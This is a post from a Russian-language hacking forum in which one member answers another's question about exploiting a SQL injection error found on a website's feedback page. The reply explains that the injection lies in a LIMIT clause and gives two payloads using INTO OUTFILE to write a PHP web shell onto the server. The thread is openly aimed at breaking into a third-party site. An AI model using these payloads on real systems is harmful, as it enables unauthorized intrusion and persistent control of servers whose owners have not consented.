Показать сообщение отдельно

  #8  
Старый 28.09.2010, 15:10
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846

Репутация: 56
По умолчанию

Цитата:
Сообщение от Derec  
Друзья, по всей видимости есть уязвимость на одном сайте:
http://site.com/feedback/index/20'
при этом вижу ошибку:
A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27, 10' at line 6
SELECT * FROM (`guestbook`) WHERE `parent` = 0 AND `moderated` = 1 ORDER BY `id` DESC LIMIT 20%27, 10​
Первый раз столкнулся с таким типом sql-injection и тольком не получается ничего раскрутить. Как действовать в таком случае, подскажите?!
Инъекция в лимите.

В данном случае инъекция не возможна из за присутствия order by.

Если нет order by, то крутиться, как обычно, через union select

Если позволяют условия, то попробуй сразу залить шелл:

1 limit 1 into outfile '/path/shell.php' lines terminated by "" --

1 limit 1 into outfile '/path/shell.php' fields terminated by '' optionally enclosed by "" --
 
Ответить с цитированием